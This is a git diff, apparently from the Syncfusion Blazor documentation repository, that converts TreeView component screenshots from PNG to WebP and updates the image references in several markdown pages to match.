diff --git a/blazor/treeview/images/blazor-treeview-get-selected-nodes.png b/blazor/treeview/images/blazor-treeview-get-selected-nodes.png
deleted file mode 100644
index f1073e2af4..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-get-selected-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-get-selected-nodes.webp b/blazor/treeview/images/blazor-treeview-get-selected-nodes.webp
new file mode 100644
index 0000000000..0f7131e4a3
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-get-selected-nodes.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-hierarchical-data.png b/blazor/treeview/images/blazor-treeview-hierarchical-data.png
deleted file mode 100644
index aca7b8525c..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-hierarchical-data.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-hierarchical-data.webp b/blazor/treeview/images/blazor-treeview-hierarchical-data.webp
new file mode 100644
index 0000000000..9f0d4ac14c
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-hierarchical-data.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-maui-app.png b/blazor/treeview/images/blazor-treeview-maui-app.png
deleted file mode 100644
index f875d6584a..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-maui-app.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-maui-app.webp b/blazor/treeview/images/blazor-treeview-maui-app.webp
new file mode 100644
index 0000000000..308eee4715
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-maui-app.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-multi-selection (1).webp b/blazor/treeview/images/blazor-treeview-multi-selection (1).webp
new file mode 100644
index 0000000000..12e178d096
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-multi-selection (1).webp differ
diff --git a/blazor/treeview/images/blazor-treeview-multi-selection.png b/blazor/treeview/images/blazor-treeview-multi-selection.png
deleted file mode 100644
index aa17320c5c..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-multi-selection.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-multi-selection.webp b/blazor/treeview/images/blazor-treeview-multi-selection.webp
new file mode 100644
index 0000000000..ff9d91c20c
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-multi-selection.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.png b/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.png
deleted file mode 100644
index 877bc7af49..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.webp b/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.webp
new file mode 100644
index 0000000000..86ee25b6ad
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-navigation-within-sidebar.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-node-editing.png b/blazor/treeview/images/blazor-treeview-node-editing.png
deleted file mode 100644
index e1a133fc73..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-node-editing.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-node-editing.webp b/blazor/treeview/images/blazor-treeview-node-editing.webp
new file mode 100644
index 0000000000..cd5f664758
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-node-editing.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-node-with-context-menu.png b/blazor/treeview/images/blazor-treeview-node-with-context-menu.png
deleted file mode 100644
index 9c0d780c61..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-node-with-context-menu.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-node-with-context-menu.webp b/blazor/treeview/images/blazor-treeview-node-with-context-menu.webp
new file mode 100644
index 0000000000..c6819852f5
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-node-with-context-menu.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-parent-node-selection.png b/blazor/treeview/images/blazor-treeview-parent-node-selection.png
deleted file mode 100644
index f25146e9c3..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-parent-node-selection.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-parent-node-selection.webp b/blazor/treeview/images/blazor-treeview-parent-node-selection.webp
new file mode 100644
index 0000000000..514d3298fb
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-parent-node-selection.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-remote-data.png b/blazor/treeview/images/blazor-treeview-remote-data.png
deleted file mode 100644
index dca81cfffa..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-remote-data.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-remote-data.webp b/blazor/treeview/images/blazor-treeview-remote-data.webp
new file mode 100644
index 0000000000..d7e1278bfb
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-remote-data.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.png b/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.png
deleted file mode 100644
index 7a359f1fe2..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.webp b/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.webp
new file mode 100644
index 0000000000..c1196facec
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-remove-parent-checkbox.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-rename-tree-node.png b/blazor/treeview/images/blazor-treeview-rename-tree-node.png
deleted file mode 100644
index d8e120da45..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-rename-tree-node.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-rename-tree-node.webp b/blazor/treeview/images/blazor-treeview-rename-tree-node.webp
new file mode 100644
index 0000000000..f90fcbf373
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-rename-tree-node.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.png b/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.png
deleted file mode 100644
index 4a280dfc4f..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.webp b/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.webp
new file mode 100644
index 0000000000..188a9506f4
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-retrieve-indices-of-selected-nodes.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-search-nuget-package.PNG b/blazor/treeview/images/blazor-treeview-search-nuget-package.PNG
deleted file mode 100644
index 8dbc404eeb..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-search-nuget-package.PNG and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-search-nuget-package.webp b/blazor/treeview/images/blazor-treeview-search-nuget-package.webp
new file mode 100644
index 0000000000..afdd634f6d
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-search-nuget-package.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-searching-and-filtering.png b/blazor/treeview/images/blazor-treeview-searching-and-filtering.png
deleted file mode 100644
index 7445bc4fb3..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-searching-and-filtering.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-searching-and-filtering.webp b/blazor/treeview/images/blazor-treeview-searching-and-filtering.webp
new file mode 100644
index 0000000000..555ed3178d
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-searching-and-filtering.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.png b/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.png
deleted file mode 100644
index c9ae81dcf6..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.webp b/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.webp
new file mode 100644
index 0000000000..bfc6ce8038
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-select-all-nodes-onload.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.png b/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.png
deleted file mode 100644
index b73a2ba9a9..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.webp b/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.webp
new file mode 100644
index 0000000000..974fd0abcc
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-select-all-nodes-programmatically.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.png b/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.png
deleted file mode 100644
index 369b00f775..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.webp b/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.webp
new file mode 100644
index 0000000000..ae37ffa301
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-select-individual-node-programmatically.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.png b/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.png
deleted file mode 100644
index 7da13c27ca..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.webp b/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.webp
new file mode 100644
index 0000000000..fe381b6d79
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-select-nodes-through-data-binding.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-template-header.png b/blazor/treeview/images/blazor-treeview-template-header.png
deleted file mode 100644
index 24356d9ae8..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-template-header.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-template-header.webp b/blazor/treeview/images/blazor-treeview-template-header.webp
new file mode 100644
index 0000000000..41b17a3a56
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-template-header.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-template.png b/blazor/treeview/images/blazor-treeview-template.png
deleted file mode 100644
index bb9bbff297..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-template.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-template.webp b/blazor/treeview/images/blazor-treeview-template.webp
new file mode 100644
index 0000000000..e9e3c8ea67
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-template.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-tooltip.png b/blazor/treeview/images/blazor-treeview-tooltip.png
deleted file mode 100644
index 7dcfaf2f59..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-tooltip.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-tooltip.webp b/blazor/treeview/images/blazor-treeview-tooltip.webp
new file mode 100644
index 0000000000..a8e7d60ada
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-tooltip.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-with-custom-accordion.png b/blazor/treeview/images/blazor-treeview-with-custom-accordion.png
deleted file mode 100644
index f53abd90e7..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-with-custom-accordion.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-with-custom-accordion.webp b/blazor/treeview/images/blazor-treeview-with-custom-accordion.webp
new file mode 100644
index 0000000000..1af9c968f6
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-with-custom-accordion.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-with-custom-nodes.png b/blazor/treeview/images/blazor-treeview-with-custom-nodes.png
deleted file mode 100644
index 3badd464d6..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-with-custom-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-with-custom-nodes.webp b/blazor/treeview/images/blazor-treeview-with-custom-nodes.webp
new file mode 100644
index 0000000000..55d90ced7e
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-with-custom-nodes.webp differ
diff --git a/blazor/treeview/images/blazor-treeview.png b/blazor/treeview/images/blazor-treeview.png
deleted file mode 100644
index a5699e231b..0000000000
Binary files a/blazor/treeview/images/blazor-treeview.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview.webp b/blazor/treeview/images/blazor-treeview.webp
new file mode 100644
index 0000000000..d5aad000d7
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview.webp differ
diff --git a/blazor/treeview/images/blazor-wasm-app-template.png b/blazor/treeview/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/treeview/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-wasm-app-template.webp b/blazor/treeview/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/treeview/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/treeview/images/check-uncheck.png b/blazor/treeview/images/check-uncheck.png
deleted file mode 100644
index c3fa47be89..0000000000
Binary files a/blazor/treeview/images/check-uncheck.png and /dev/null differ
diff --git a/blazor/treeview/images/check-uncheck.webp b/blazor/treeview/images/check-uncheck.webp
new file mode 100644
index 0000000000..de11403807
Binary files /dev/null and b/blazor/treeview/images/check-uncheck.webp differ
diff --git a/blazor/treeview/images/checkednodes.png b/blazor/treeview/images/checkednodes.png
deleted file mode 100644
index 835b683b51..0000000000
Binary files a/blazor/treeview/images/checkednodes.png and /dev/null differ
diff --git a/blazor/treeview/images/checkednodes.webp b/blazor/treeview/images/checkednodes.webp
new file mode 100644
index 0000000000..241c0080a1
Binary files /dev/null and b/blazor/treeview/images/checkednodes.webp differ
diff --git a/blazor/treeview/images/child-nodes.png b/blazor/treeview/images/child-nodes.png
deleted file mode 100644
index 03d331021e..0000000000
Binary files a/blazor/treeview/images/child-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/child-nodes.webp b/blazor/treeview/images/child-nodes.webp
new file mode 100644
index 0000000000..7a03acad34
Binary files /dev/null and b/blazor/treeview/images/child-nodes.webp differ
diff --git a/blazor/treeview/images/data-binding.png b/blazor/treeview/images/data-binding.png
deleted file mode 100644
index 342f31cacd..0000000000
Binary files a/blazor/treeview/images/data-binding.png and /dev/null differ
diff --git a/blazor/treeview/images/data-binding.webp b/blazor/treeview/images/data-binding.webp
new file mode 100644
index 0000000000..2fb97dfd13
Binary files /dev/null and b/blazor/treeview/images/data-binding.webp differ
diff --git a/blazor/treeview/images/edit-node.png b/blazor/treeview/images/edit-node.png
deleted file mode 100644
index f0119c0b3d..0000000000
Binary files a/blazor/treeview/images/edit-node.png and /dev/null differ
diff --git a/blazor/treeview/images/edit-node.webp b/blazor/treeview/images/edit-node.webp
new file mode 100644
index 0000000000..5a154c0676
Binary files /dev/null and b/blazor/treeview/images/edit-node.webp differ
diff --git a/blazor/treeview/images/hierarchical-data.png b/blazor/treeview/images/hierarchical-data.png
deleted file mode 100644
index 0d6f308828..0000000000
Binary files a/blazor/treeview/images/hierarchical-data.png and /dev/null differ
diff --git a/blazor/treeview/images/hierarchical-data.webp b/blazor/treeview/images/hierarchical-data.webp
new file mode 100644
index 0000000000..67e46089de
Binary files /dev/null and b/blazor/treeview/images/hierarchical-data.webp differ
diff --git a/blazor/treeview/images/import-cdn.png b/blazor/treeview/images/import-cdn.png
deleted file mode 100644
index af6fd26e10..0000000000
Binary files a/blazor/treeview/images/import-cdn.png and /dev/null differ
diff --git a/blazor/treeview/images/import-cdn.webp b/blazor/treeview/images/import-cdn.webp
new file mode 100644
index 0000000000..34a36d7e54
Binary files /dev/null and b/blazor/treeview/images/import-cdn.webp differ
diff --git a/blazor/treeview/images/multiselect.png b/blazor/treeview/images/multiselect.png
deleted file mode 100644
index 984d63daf0..0000000000
Binary files a/blazor/treeview/images/multiselect.png and /dev/null differ
diff --git a/blazor/treeview/images/multiselect.webp b/blazor/treeview/images/multiselect.webp
new file mode 100644
index 0000000000..1b363ed1bf
Binary files /dev/null and b/blazor/treeview/images/multiselect.webp differ
diff --git a/blazor/treeview/images/new-project.png b/blazor/treeview/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/treeview/images/new-project.png and /dev/null differ
diff --git a/blazor/treeview/images/new-project.webp b/blazor/treeview/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/treeview/images/new-project.webp differ
diff --git a/blazor/treeview/images/razor-components-template.png b/blazor/treeview/images/razor-components-template.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/treeview/images/razor-components-template.png and /dev/null differ
diff --git a/blazor/treeview/images/razor-components-template.webp b/blazor/treeview/images/razor-components-template.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/treeview/images/razor-components-template.webp differ
diff --git a/blazor/treeview/images/select-allnode.png b/blazor/treeview/images/select-allnode.png
deleted file mode 100644
index 8b742e647c..0000000000
Binary files a/blazor/treeview/images/select-allnode.png and /dev/null differ
diff --git a/blazor/treeview/images/select-allnode.webp b/blazor/treeview/images/select-allnode.webp
new file mode 100644
index 0000000000..62d1834a83
Binary files /dev/null and b/blazor/treeview/images/select-allnode.webp differ
diff --git a/blazor/treeview/images/select-nuget.png b/blazor/treeview/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/treeview/images/select-nuget.png and /dev/null differ
diff --git a/blazor/treeview/images/select-nuget.webp b/blazor/treeview/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/treeview/images/select-nuget.webp differ
diff --git a/blazor/treeview/images/template-add-remove-node.png b/blazor/treeview/images/template-add-remove-node.png
deleted file mode 100644
index 13002d61aa..0000000000
Binary files a/blazor/treeview/images/template-add-remove-node.png and /dev/null differ
diff --git a/blazor/treeview/images/template-add-remove-node.webp b/blazor/treeview/images/template-add-remove-node.webp
new file mode 100644
index 0000000000..85e0fe5c2b
Binary files /dev/null and b/blazor/treeview/images/template-add-remove-node.webp differ
diff --git a/blazor/treeview/images/tooltip-template.png b/blazor/treeview/images/tooltip-template.png
deleted file mode 100644
index d47dbd7a82..0000000000
Binary files a/blazor/treeview/images/tooltip-template.png and /dev/null differ
diff --git a/blazor/treeview/images/tooltip-template.webp b/blazor/treeview/images/tooltip-template.webp
new file mode 100644
index 0000000000..a7db474511
Binary files /dev/null and b/blazor/treeview/images/tooltip-template.webp differ
diff --git a/blazor/treeview/images/tooltip.png b/blazor/treeview/images/tooltip.png
deleted file mode 100644
index 1787b6d9f1..0000000000
Binary files a/blazor/treeview/images/tooltip.png and /dev/null differ
diff --git a/blazor/treeview/images/tooltip.webp b/blazor/treeview/images/tooltip.webp
new file mode 100644
index 0000000000..b2de3e1127
Binary files /dev/null and b/blazor/treeview/images/tooltip.webp differ
diff --git a/blazor/treeview/images/treeview.png b/blazor/treeview/images/treeview.png
deleted file mode 100644
index b0255779e7..0000000000
Binary files a/blazor/treeview/images/treeview.png and /dev/null differ
diff --git a/blazor/treeview/images/treeview.webp b/blazor/treeview/images/treeview.webp
new file mode 100644
index 0000000000..96fe256ca0
Binary files /dev/null and b/blazor/treeview/images/treeview.webp differ
diff --git a/blazor/treeview/integration.md b/blazor/treeview/integration.md
index 9b850f554f..2f317f46af 100644
--- a/blazor/treeview/integration.md
+++ b/blazor/treeview/integration.md
@@ -248,7 +248,7 @@ This is demonstrated in an example where the TreeView operations are manipulated
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZheMDMKCfviYktD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Context Menu in Blazor TreeView Component](./images/blazor-treeview-node-with-context-menu.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZheMDMKCfviYktD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Context Menu in Blazor TreeView Component](./images/blazor-treeview-node-with-context-menu.webp)" %}
 
 ## Badge Integration
 
@@ -413,7 +413,7 @@ The Blazor TreeView component integrates with the Syncfusion Badge component, en
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXreitsqiTbQmSBM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Badge integration in Blazor TreeView](./images/blazor-treeview-badge-integration.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXreitsqiTbQmSBM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Badge integration in Blazor TreeView](./images/blazor-treeview-badge-integration.webp)" %}
 
 ## Icons Library Integration
 
@@ -570,7 +570,7 @@ The Blazor TreeView component has the built-in option to customize each node's a
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBIWZsKWoisIIxY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Icons integration in Blazor TreeView](./images/blazor-treeview-Icon-integration.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBIWZsKWoisIIxY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Icons integration in Blazor TreeView](./images/blazor-treeview-Icon-integration.webp)" %}
 
 ## Navigation within Sidebar
 
@@ -787,7 +787,7 @@ The Blazor TreeView component's [`NavigateUrl`](https://help.syncfusion.com/cr/b
 
 ```
 
-![Navigation within Sidebar](./images/blazor-treeview-navigation-within-sidebar.png)
+![Navigation within Sidebar](./images/blazor-treeview-navigation-within-sidebar.webp)
 
 ## Tooltip in Blazor TreeView Component
 
diff --git a/blazor/treeview/multiple-selection.md b/blazor/treeview/multiple-selection.md
index 46df9fb83f..044ee9582a 100644
--- a/blazor/treeview/multiple-selection.md
+++ b/blazor/treeview/multiple-selection.md
@@ -109,4 +109,4 @@ N> Multi selection is not applicable through touch interactions.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LthICXWgCerHXKMx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[MultiSelection in Blazor TreeView](./images/multiselect.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LthICXWgCerHXKMx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[MultiSelection in Blazor TreeView](./images/multiselect.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/node-customization.md b/blazor/treeview/node-customization.md
index 999007fb4d..92b0b9911a 100644
--- a/blazor/treeview/node-customization.md
+++ b/blazor/treeview/node-customization.md
@@ -613,7 +613,7 @@ The TreeView component provides a straightforward way to enable tooltips for tre
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVIsDigMkgFfzRJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip in Blazor TreeView](./images/tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVIsDigMkgFfzRJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip in Blazor TreeView](./images/tooltip.webp)" %}
 
 ## Customize Nodes Tooltip in Blazor TreeView Component
 
@@ -775,7 +775,7 @@ While native tooltip elements might offer limited customization, the Blazor Tool
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLyMNMqsOQjSsJn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip Template in Blazor TreeView](./images/tooltip-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLyMNMqsOQjSsJn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip Template in Blazor TreeView](./images/tooltip-template.webp)" %}
 
 ## Get all Nodes in Blazor TreeView Component
 
diff --git a/blazor/treeview/node-editing.md b/blazor/treeview/node-editing.md
index 370c0a243c..be987f11d4 100644
--- a/blazor/treeview/node-editing.md
+++ b/blazor/treeview/node-editing.md
@@ -124,7 +124,7 @@ When editing is completed by focusing out or by pressing the <kbd>Enter</kbd> ke
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjByiDWqMuupOrPJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Node Editing in Blazor TreeView](./images/blazor-treeview-node-editing.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjByiDWqMuupOrPJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Node Editing in Blazor TreeView](./images/blazor-treeview-node-editing.webp)" %}
 
 ## CRUD Operations
 
@@ -375,7 +375,7 @@ The example provided demonstrates how to use the `ItemSelected` event of the con
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVyMtMKLDjzDfze?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[CRUD operation using list in Blazor TreeView](./images/blazor-treeview-node-with-context-menu.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVyMtMKLDjzDfze?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[CRUD operation using list in Blazor TreeView](./images/blazor-treeview-node-with-context-menu.webp)" %}
 
 ### Add or Remove Node Programmatically
 
@@ -579,7 +579,7 @@ The Blazor TreeView component allows for the dynamic addition or removal of spec
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLeWtCULXCrLgvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Add or Remove node in Blazor TreeView](./images/add-remove-node.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLeWtCULXCrLgvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Add or Remove node in Blazor TreeView](./images/add-remove-node.webp)" %}
 
 ### Add or Remove Node Programmatically with Template
 
@@ -793,7 +793,7 @@ The Blazor TreeView component with template support also allows for the dynamic
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVyWXCUrtVeSfmL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/template-add-remove-node.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVyWXCUrtVeSfmL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/template-add-remove-node.webp)" %}
 
 ### Add Node through Popup
 
@@ -1183,7 +1183,7 @@ The Blazor TreeView component enables dynamic editing of specific nodes. This ca
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhoCtCgrNyGxtWK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Edit node in Blazor TreeView](./images/edit-node.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhoCtCgrNyGxtWK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Edit node in Blazor TreeView](./images/edit-node.webp)" %}
 
 ### Edit a Node with Template
 
diff --git a/blazor/treeview/node-selection.md b/blazor/treeview/node-selection.md
index 6dddb6714a..a41dc7e0c2 100644
--- a/blazor/treeview/node-selection.md
+++ b/blazor/treeview/node-selection.md
@@ -102,7 +102,7 @@ The Blazor TreeView component enables the selection of specific nodes during ini
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthIWNWKhiiVUngi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select nodes through data binding](./images/data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthIWNWKhiiVUngi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select nodes through data binding](./images/data-binding.webp)" %}
 
 ## Select Nodes through API
 
@@ -191,7 +191,7 @@ The Blazor TreeView component provides the capability to select specific nodes d
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVysDiALMMnYUXd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select nodes through API](./images/data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVysDiALMMnYUXd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select nodes through API](./images/data-binding.webp)" %}
 
 ## Select all Nodes Programmatically
 
@@ -301,7 +301,7 @@ Here, selected all TreeView parent nodes by clicking a button. If the nodes have
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtByCjMABihnMnxr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Parent nodes](./images/blazor-treeview-parent-node-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtByCjMABihnMnxr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Parent nodes](./images/blazor-treeview-parent-node-selection.webp)" %}
 
 ### Child Nodes
 
@@ -407,7 +407,7 @@ To select only child nodes in the TreeView, retrieve all nodes and add the IDs o
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLIMjCUrigsqVBH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Child nodes](./images/child-nodes.png)" %}
